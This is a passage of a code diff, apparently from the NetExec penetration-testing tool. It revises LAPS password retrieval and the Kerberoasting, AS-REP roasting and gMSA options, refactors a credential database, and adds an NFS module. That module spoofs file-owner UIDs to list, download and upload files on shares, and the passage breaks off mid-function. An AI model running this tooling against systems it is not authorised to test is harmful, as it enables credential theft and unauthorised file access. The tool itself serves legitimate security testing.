prev_port = self.logger.extra["port"]
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
@@ -274,7 +271,7 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
if self.kerberos:
|
||||
if self.kdcHost is None:
|
||||
self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
|
||||
return None, None, None, None
|
||||
return None, None, None
|
||||
|
||||
connection = ldapco.kerberos_login(
|
||||
domain[0],
|
||||
@@ -283,6 +280,7 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
kdcHost=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
dns_server=dns_server
|
||||
)
|
||||
else:
|
||||
connection = ldapco.auth_login(
|
||||
@@ -290,11 +288,12 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
username[0] if username else "",
|
||||
password[0] if cred_type[0] == "plaintext" else "",
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
dns_server
|
||||
)
|
||||
if not connection:
|
||||
self.logger.fail(f"LDAP connection failed with account {username[0]}")
|
||||
|
||||
return None, None, None, None
|
||||
return None, None, None
|
||||
|
||||
search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
|
||||
attributes = [
|
||||
@@ -325,13 +324,14 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
self.kerberos,
|
||||
self.kdcHost,
|
||||
339
|
||||
339,
|
||||
dns_server
|
||||
)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return None, None, None, None
|
||||
return None, None, None
|
||||
r = loads(data)
|
||||
msMCSAdmPwd = r["p"]
|
||||
username_laps = r["n"]
|
||||
@@ -346,21 +346,17 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
|
||||
else:
|
||||
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
||||
return None, None, None, None
|
||||
return None, None, None
|
||||
|
||||
if msMCSAdmPwd == "":
|
||||
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
||||
return None, None, None, None
|
||||
|
||||
hash_ntlm = None
|
||||
if cred_type[0] == "hash":
|
||||
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
|
||||
hash_ntlm = binascii.hexlify(hash_ntlm).decode()
|
||||
return None, None, None
|
||||
|
||||
username = username_laps if username_laps else self.args.laps
|
||||
password = msMCSAdmPwd
|
||||
domain = self.hostname
|
||||
self.args.local_auth = True
|
||||
self.kerberos = False
|
||||
self.logger.extra["protocol"] = prev_protocol
|
||||
self.logger.extra["port"] = prev_port
|
||||
return username, password, domain, hash_ntlm
|
||||
return username, password, domain
|
||||
@@ -11,7 +11,7 @@ def proto_args(parser, parents):
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||
|
||||
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
|
||||
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
|
||||
|
||||
@@ -26,13 +26,13 @@ def proto_args(parser, parents):
|
||||
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
|
||||
vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
|
||||
|
||||
ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
|
||||
ggroup = ldap_parser.add_argument_group("Retrieve gmsa on the remote DC", "Options to play with gmsa")
|
||||
ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
|
||||
ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided")
|
||||
ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA")
|
||||
|
||||
bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud")
|
||||
bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan")
|
||||
bgroup.add_argument("-c", "--collection", default="Collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
|
||||
bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
|
||||
|
||||
return parser
|
||||
@@ -141,7 +141,6 @@ class mssql(connection):
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
return True
|
||||
|
||||
@reconnect_mssql
|
||||
def kerberos_login(
|
||||
|
||||
@@ -1,37 +1,24 @@
|
||||
from pathlib import Path
|
||||
from sqlalchemy import MetaData, func, Table, select, insert, update, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy.exc import SAWarning
|
||||
import warnings
|
||||
from nxc.logger import nxc_logger
|
||||
import sys
|
||||
import warnings
|
||||
|
||||
from sqlalchemy import func, select, insert, update, delete, Table
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import SAWarning, NoInspectionAvailable, NoSuchTableError
|
||||
|
||||
from nxc.database import BaseDB
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
# if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings
|
||||
warnings.filterwarnings("ignore", category=SAWarning)
|
||||
|
||||
|
||||
class database:
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.HostsTable = None
|
||||
self.UsersTable = None
|
||||
self.AdminRelationsTable = None
|
||||
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
Session = scoped_session(session_factory)
|
||||
# this is still named "conn" when it is the session object; TODO: rename
|
||||
self.conn = Session()
|
||||
super().__init__(db_engine)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
@@ -83,19 +70,6 @@ class database:
|
||||
)
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.conn.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.conn.execute(table.delete())
|
||||
|
||||
def add_host(self, ip, hostname, domain, os, instances):
|
||||
"""
|
||||
Check if this host has already been added to the database, if not, add it in.
|
||||
@@ -107,7 +81,7 @@ class database:
|
||||
hosts = []
|
||||
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"mssql add_host() - hosts returned: {results}")
|
||||
|
||||
host_data = {
|
||||
@@ -142,7 +116,7 @@ class database:
|
||||
q = Insert(self.HostsTable)
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
|
||||
self.conn.execute(q, hosts)
|
||||
self.db_execute(q, hosts)
|
||||
|
||||
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
|
||||
"""Check if this credential has already been added to the database, if not add it in."""
|
||||
@@ -165,7 +139,7 @@ class database:
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
|
||||
)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
if not results:
|
||||
user_data = {
|
||||
@@ -176,13 +150,13 @@ class database:
|
||||
"pillaged_from_hostid": pillaged_from,
|
||||
}
|
||||
q = insert(self.UsersTable).values(user_data) # .returning(self.UsersTable.c.id)
|
||||
self.conn.execute(q) # .first()
|
||||
self.db_execute(q) # .first()
|
||||
else:
|
||||
for user in results:
|
||||
# might be able to just remove this if check, but leaving it in for now
|
||||
if not user[3] and not user[4] and not user[5]:
|
||||
q = update(self.UsersTable).values(credential_data) # .returning(self.UsersTable.c.id)
|
||||
results = self.conn.execute(q) # .first()
|
||||
results = self.db_execute(q) # .first()
|
||||
|
||||
nxc_logger.debug(f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})")
|
||||
return user_rowid
|
||||
@@ -193,12 +167,12 @@ class database:
|
||||
for cred_id in creds_id:
|
||||
q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id)
|
||||
del_hosts.append(q)
|
||||
self.conn.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_admin_user(self, credtype, domain, username, password, host, user_id=None):
|
||||
if user_id:
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id)
|
||||
users = self.conn.execute(q).all()
|
||||
users = self.db_execute(q).all()
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == credtype,
|
||||
@@ -206,12 +180,12 @@ class database:
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||
self.UsersTable.c.password == password,
|
||||
)
|
||||
users = self.conn.execute(q).all()
|
||||
users = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"Users: {users}")
|
||||
|
||||
like_term = func.lower(f"%{host}%")
|
||||
q = q.filter(self.HostsTable.c.ip.like(like_term))
|
||||
hosts = self.conn.execute(q).all()
|
||||
hosts = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"Hosts: {hosts}")
|
||||
|
||||
if users is not None and hosts is not None:
|
||||
@@ -224,10 +198,10 @@ class database:
|
||||
self.AdminRelationsTable.c.userid == user_id,
|
||||
self.AdminRelationsTable.c.hostid == host_id,
|
||||
)
|
||||
links = self.conn.execute(q).all()
|
||||
links = self.db_execute(q).all()
|
||||
|
||||
if not links:
|
||||
self.conn.execute(insert(self.AdminRelationsTable).values(link))
|
||||
self.db_execute(insert(self.AdminRelationsTable).values(link))
|
||||
|
||||
def get_admin_relations(self, user_id=None, host_id=None):
|
||||
if user_id:
|
||||
@@ -237,7 +211,7 @@ class database:
|
||||
else:
|
||||
q = select(self.AdminRelationsTable)
|
||||
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def remove_admin_relation(self, user_ids=None, host_ids=None):
|
||||
q = delete(self.AdminRelationsTable)
|
||||
@@ -247,7 +221,7 @@ class database:
|
||||
elif host_ids:
|
||||
for host_id in host_ids:
|
||||
q = q.filter(self.AdminRelationsTable.c.hostid == host_id)
|
||||
self.conn.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def is_credential_valid(self, credential_id):
|
||||
"""Check if this credential ID is valid."""
|
||||
@@ -255,7 +229,7 @@ class database:
|
||||
self.UsersTable.c.id == credential_id,
|
||||
self.UsersTable.c.password is not None,
|
||||
)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_credentials(self, filter_term=None, cred_type=None):
|
||||
@@ -273,12 +247,12 @@ class database:
|
||||
else:
|
||||
q = select(self.UsersTable)
|
||||
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def is_host_valid(self, host_id):
|
||||
"""Check if this host ID is valid."""
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_hosts(self, filter_term=None, domain=None):
|
||||
@@ -288,7 +262,7 @@ class database:
|
||||
# if we're returning a single host by ID
|
||||
if self.is_host_valid(filter_term):
|
||||
q = q.filter(self.HostsTable.c.id == filter_term)
|
||||
results = self.conn.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
# if we're filtering by domain controllers
|
||||
@@ -301,4 +275,4 @@ class database:
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term))
|
||||
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
@@ -0,0 +1,400 @@
|
||||
from nxc.connection import connection
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.helpers.logger import highlight
|
||||
from pyNfsClient import Portmap, Mount, NFSv3, NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3
|
||||
import re
|
||||
import uuid
|
||||
import math
|
||||
import os
|
||||
|
||||
|
||||
class nfs(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.protocol = "nfs"
|
||||
self.port = 111
|
||||
self.portmap = None
|
||||
self.mnt_port = None
|
||||
self.mount = None
|
||||
self.auth = {
|
||||
"flavor": 1,
|
||||
"machine_name": uuid.uuid4().hex.upper()[0:6],
|
||||
"uid": 0,
|
||||
"gid": 0,
|
||||
"aux_gid": [],
|
||||
}
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
def proto_logger(self):
|
||||
self.logger = NXCAdapter(
|
||||
extra={
|
||||
"protocol": "NFS",
|
||||
"host": self.host,
|
||||
"port": self.port,
|
||||
"hostname": self.hostname,
|
||||
}
|
||||
)
|
||||
|
||||
def create_conn_obj(self):
|
||||
"""Initializes and connects to the portmap and mounted folder"""
|
||||
try:
|
||||
# Portmap Initialization
|
||||
self.portmap = Portmap(self.host, timeout=self.args.nfs_timeout)
|
||||
self.portmap.connect()
|
||||
|
||||
# Mount Initialization
|
||||
self.mnt_port = self.portmap.getport(Mount.program, Mount.program_version)
|
||||
self.mount = Mount(host=self.host, port=self.mnt_port, timeout=self.args.nfs_timeout, auth=self.auth)
|
||||
self.mount.connect()
|
||||
|
||||
# Change logging port to the NFS port
|
||||
self.port = self.mnt_port
|
||||
self.proto_logger()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error during Initialization: {e}")
|
||||
return False
|
||||
return True
|
||||
|
||||
def enum_host_info(self):
|
||||
try:
|
||||
# Dump all registered programs
|
||||
programs = self.portmap.dump()
|
||||
|
||||
self.nfs_versions = set()
|
||||
for program in programs:
|
||||
if program["program"] == NFS_PROGRAM:
|
||||
self.nfs_versions.add(program["version"])
|
||||
return self.nfs_versions
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error checking NFS version: {self.host} {e}")
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})")
|
||||
|
||||
def disconnect(self):
|
||||
"""Disconnect mount and portmap if they are connected"""
|
||||
try:
|
||||
self.mount.disconnect()
|
||||
self.portmap.disconnect()
|
||||
self.logger.info(f"Disconnect successful: {self.host}:{self.port}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error during disconnect: {e}")
|
||||
|
||||
def list_dir(self, file_handle, path, recurse=1):
|
||||
"""Process entries in NFS directory recursively with UID autodection"""
|
||||
def process_entries(entries, path, uid, recurse):
|
||||
try:
|
||||
contents = []
|
||||
for entry in entries:
|
||||
if "name" in entry and entry["name"] not in [b".", b".."]:
|
||||
item_path = f'{path}/{entry["name"].decode("utf-8")}' # Constructing file path
|
||||
if entry.get("name_attributes", {}).get("present", False):
|
||||
if entry["name_attributes"]["attributes"]["type"] == 2 and recurse > 0: # Recursive directory listing. Entry type shows file format. 1 is file, 2 is folder.
|
||||
dir_handle = entry["name_handle"]["handle"]["data"]
|
||||
contents += self.list_dir(dir_handle, item_path, recurse=recurse - 1)
|
||||
else:
|
||||
file_handle = entry["name_handle"]["handle"]["data"]
|
||||
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
|
||||
file_size = attrs["attributes"]["size"]
|
||||
file_size = convert_size(file_size)
|
||||
uid = attrs["attributes"]["uid"]
|
||||
read_perm, write_perm, exec_perm = self.get_permissions(entry["name_handle"]["handle"]["data"])
|
||||
contents.append({"path": item_path, "read": read_perm, "write": write_perm, "execute": exec_perm, "filesize": file_size, "uid": uid})
|
||||
|
||||
if entry["nextentry"]:
|
||||
# Processing next entries recursively
|
||||
contents += process_entries(entry["nextentry"], path, uid, recurse)
|
||||
|
||||
return contents
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error on Listing Entries for NFS Shares: {self.host}:{self.port} {e}")
|
||||
|
||||
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
|
||||
if recurse == 0:
|
||||
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
|
||||
return [{"path": f"{path}/", "read": read_perm, "write": write_perm, "execute": exec_perm, "filesize": "-", "uid": self.auth["uid"]}]
|
||||
|
||||
items = self.nfs3.readdirplus(file_handle, auth=self.auth)
|
||||
if "resfail" in items:
|
||||
raise Exception("Insufficient Permissions")
|
||||
else:
|
||||
entries = items["resok"]["reply"]["entries"]
|
||||
|
||||
return process_entries(entries, path, self.auth["uid"], recurse)
|
||||
|
||||
def export_info(self, export_nodes):
|
||||
"""Enumerates all NFS shares and their access range"""
|
||||
networks = []
|
||||
for node in export_nodes:
|
||||
|
||||
# Collect the names of the groups associated with this export node
|
||||
group_names = self.group_names(node.ex_groups)
|
||||
networks.append(group_names)
|
||||
|
||||
# If there are more export nodes, process them recursively. More than one share.
|
||||
if node.ex_next:
|
||||
networks.extend(self.export_info(node.ex_next))
|
||||
|
||||
return networks
|
||||
|
||||
def group_names(self, groups):
|
||||
"""Enumerates all access range of the share(s)"""
|
||||
result = []
|
||||
for group in groups:
|
||||
result.append(group.gr_name.decode())
|
||||
|
||||
# If there are more IP's, process them recursively.
|
||||
if group.gr_next:
|
||||
result.extend(self.group_names(group.gr_next))
|
||||
|
||||
return result
|
||||
|
||||
def shares(self):
|
||||
self.logger.display("Enumerating NFS Shares")
|
||||
try:
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
output_export = str(self.mount.export())
|
||||
networks = self.export_info(self.mount.export())
|
||||
|
||||
reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names
|
||||
shares = list(reg.findall(output_export))
|
||||
|
||||
# Mount shares and check permissions
|
||||
self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}")
|
||||
self.logger.highlight(f"{'---':<11}{'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}")
|
||||
for share, network in zip(shares, networks):
|
||||
try:
|
||||
mnt_info = self.mount.mnt(share, self.auth)
|
||||
self.logger.debug(f"Mounted {share} - {mnt_info}")
|
||||
if mnt_info["status"] != 0:
|
||||
self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mnt_info['status']]}")
|
||||
continue
|
||||
file_handle = mnt_info["mountinfo"]["fhandle"]
|
||||
|
||||
info = self.nfs3.fsstat(file_handle, self.auth)
|
||||
free_space = info["resok"]["fbytes"]
|
||||
total_space = info["resok"]["tbytes"]
|
||||
used_space = total_space - free_space
|
||||
|
||||
# Autodetectting the uid needed for the share
|
||||
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
|
||||
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
|
||||
self.mount.umnt(self.auth)
|
||||
self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space)}/{convert_size(total_space):<9} {share:<30} {', '.join(network) if network else 'No network':<15}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to list share: {share} - {e}")
|
||||
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error on Enumeration NFS Shares: {self.host}:{self.port} {e}")
|
||||
finally:
|
||||
self.nfs3.disconnect()
|
||||
|
||||
def get_permissions(self, file_handle):
|
||||
"""Check permissions for the file handle"""
|
||||
try:
|
||||
read_perm = self.nfs3.access(file_handle, ACCESS3_READ, self.auth).get("resok", {}).get("access", 0) is ACCESS3_READ
|
||||
except Exception:
|
||||
read_perm = False
|
||||
try:
|
||||
write_perm = self.nfs3.access(file_handle, ACCESS3_MODIFY, self.auth).get("resok", {}).get("access", 0) is ACCESS3_MODIFY
|
||||
except Exception:
|
||||
write_perm = False
|
||||
try:
|
||||
exec_perm = self.nfs3.access(file_handle, ACCESS3_EXECUTE, self.auth).get("resok", {}).get("access", 0) is ACCESS3_EXECUTE
|
||||
except Exception:
|
||||
exec_perm = False
|
||||
return read_perm, write_perm, exec_perm
|
||||
|
||||
def enum_shares(self):
|
||||
try:
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
# Mounting NFS Shares
|
||||
output_export = str(self.mount.export())
|
||||
reg = re.compile(r"ex_dir=b'([^']*)'")
|
||||
shares = list(reg.findall(output_export))
|
||||
networks = self.export_info(self.mount.export())
|
||||
|
||||
self.logger.display("Enumerating NFS Shares Directories")
|
||||
for share, network in zip(shares, networks):
|
||||
try:
|
||||
mount_info = self.mount.mnt(share, self.auth)
|
||||
self.logger.debug(f"Mounted {share} - {mount_info}")
|
||||
if mount_info["status"] != 0:
|
||||
self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mount_info['status']]}")
|
||||
continue
|
||||
|
||||
fhandle = mount_info["mountinfo"]["fhandle"]
|
||||
contents = self.list_dir(fhandle, share, self.args.enum_shares)
|
||||
|
||||
self.logger.success(share)
|
||||
if contents:
|
||||
self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'File Size':<15}{'File Path':<45} {'Access List':<15}")
|
||||
self.logger.highlight(f"{'---':<11}{'-----':<9}{'---------':<15}{'---------':<45} {'-----------':<15}")
|
||||
for content in contents:
|
||||
self.logger.highlight(f"{content['uid']:<11}{'r' if content['read'] else '-'}{'w' if content['write'] else '-'}{'x' if content['execute'] else '-':<7}{content['filesize']:<14} {content['path']:<45} {', '.join(network) if network else 'No network':<15}")
|
||||
except Exception as e:
|
||||
if "RPC_AUTH_ERROR: AUTH_REJECTEDCRED" in str(e):
|
||||
self.logger.fail(f"{share} - RPC Access denied")
|
||||
elif "RPC_AUTH_ERROR: AUTH_TOOWEAK" in str(e):
|
||||
self.logger.fail(f"{share} - Kerberos authentication required")
|
||||
elif "Insufficient Permissions" in str(e):
|
||||
self.logger.fail(f"{share} - Insufficient Permissions for share listing")
|
||||
else:
|
||||
self.logger.exception(f"{share} - {e}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error on Listing NFS Shares Directories: {self.host}:{self.port} {e}")
|
||||
self.logger.debug("It is probably unknown format or can not access as anonymously.")
|
||||
finally:
|
||||
self.nfs3.disconnect()
|
||||
|
||||
def get_file(self):
|
||||
"""Downloads a file from the NFS share"""
|
||||
remote_file_path = self.args.get_file[0]
|
||||
remote_dir_path, file_name = os.path.split(remote_file_path)
|
||||
local_file_path = self.args.get_file[1]
|
||||
|
||||
# Do a bit of smart handling for the local file path
|
||||
if local_file_path.endswith("/"):
|
||||
local_file_path += file_name
|
||||
|
||||
self.logger.display(f"Downloading {remote_file_path} to {local_file_path}")
|
||||
try:
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
# Mount the NFS share
|
||||
mnt_info = self.mount.mnt(remote_dir_path, self.auth)
|
||||
|
||||
# Update the UID for the file
|
||||
attrs = self.nfs3.getattr(mnt_info["mountinfo"]["fhandle"], auth=self.auth)
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
dir_handle = mnt_info["mountinfo"]["fhandle"]
|
||||
|
||||
# Get the file handle and file size
|
||||
dir_data = self.nfs3.lookup(dir_handle, file_name, auth=self.auth)
|
||||
file_handle = dir_data["resok"]["object"]["data"]
|
||||
|
||||
# Handle files over the default chunk size of 1024 * 1024
|
||||
offset = 0
|
||||
eof = False
|
||||
|
||||
# Loop until we have read the entire file
|
||||
with open(local_file_path, "wb+") as local_file:
|
||||
while not eof:
|
||||
file_data = self.nfs3.read(file_handle, offset, auth=self.auth)
|
||||
|
||||
if "resfail" in file_data:
|
||||
raise Exception("Insufficient Permissions")
|
||||
|
||||
else:
|
||||
# Get the data and append it to the total file data
|
||||
data = file_data["resok"]["data"]
|
||||
eof = file_data["resok"]["eof"]
|
||||
|
||||
# Update the offset to read the next chunk
|
||||
offset += len(data)
|
||||
# Write the file data to the local file
|
||||
local_file.write(data)
|
||||
|
||||
self.logger.highlight(f"File successfully downloaded to {local_file_path} from {remote_file_path}")
|
||||
|
||||
# Unmount the share
|
||||
self.mount.umnt(self.auth)
|
||||
except Exception as e:
|
||||
self.logger.fail(f'Error retrieving file "{file_name}" from "{remote_dir_path}": {e}')
|
||||
if os.path.exists(local_file_path) and os.path.getsize(local_file_path) == 0:
|
||||
os.remove(local_file_path)
|
||||
|
||||
def put_file(self):
|
||||
"""Uploads a file to the NFS share"""
|
||||
local_file_path = self.args.put_file[0]
|
||||
remote_file_path = self.args.put_file[1]
|
||||
file_name = ""
|
||||
|
||||
# Check if local file is exist
|
||||
if not os.path.isfile(local_file_path):
|
||||
self.logger.fail(f"{local_file_path} does not exist.")
|
||||
return
|
||||
|
||||
# Do a bit of smart handling for the file paths
|
||||
file_name = local_file_path.split("/")[-1] if "/" in local_file_path else local_file_path
|
||||
if not remote_file_path.endswith("/"):
|
||||
remote_file_path += "/"
|
||||
|
||||
self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}")
|
||||
try:
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
# Mount the NFS share to create the file
|
||||
mnt_info = self.mount.mnt(remote_file_path, self.auth)
|
||||
dir_handle = mnt_info["mountinfo"]["fhandle"]
|
||||
|
||||
# Update the UID from the directory
|
||||
attrs = self.nfs3.getattr(dir_handle, auth=self.auth)
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
|
||||
# Checking if file_name already exists on remote file path
|
||||
lookup_response = self.nfs3.lookup(dir_handle, file_name, auth=self.auth)
|
||||
|
||||
# If success, file_name does not exist on remote machine. Else, trying to overwrite it.
|
||||
if lookup_response["resok"] is None:
|
||||
# Create file
|
||||
self.logger.display(f"Trying to create {remote_file_path}{file_name}")
|
||||
res = self.nfs3.create(dir_handle, file_name, create_mode=1, mode=0o777, auth=self.auth)
|
||||
if res["status"] != 0:
|
||||
raise Exception(NFSSTAT3[res["status"]])
|
||||
else:
|
||||
file_handle = res["resok"]["obj"]["handle"]["data"]
|
||||
self.logger.success(f"{file_name} successfully created")
|
||||
else:
|
||||
# Asking the user if they want to overwrite the file
|
||||
ans = input(highlight(f"[!] {file_name} already exists on {remote_file_path}. Do you want to overwrite it? [Y/n] ", "red"))
|
||||
if ans.lower() in ["y", "yes", ""]:
|
||||
self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...")
|
||||
file_handle = lookup_response["resok"]["object"]["data"]
|
||||
else:
|
||||
self.logger.fail(f"Uploading was not successful. The {file_name} is exist on {remote_file_path}")
|
||||
return
|
||||
|
||||
try:
|
||||
with open(local_file_path, "rb") as file:
|
||||
file_data = file.read().decode()
|
||||
|
||||
# Write the data to the remote file
|
||||
self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}")
|
||||
self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth)
|
||||
self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Could not write to {local_file_path}: {e}")
|
||||
|
||||
# Unmount the share
|
||||
self.mount.umnt(self.auth)
|
||||
except Exception as e:
|
||||
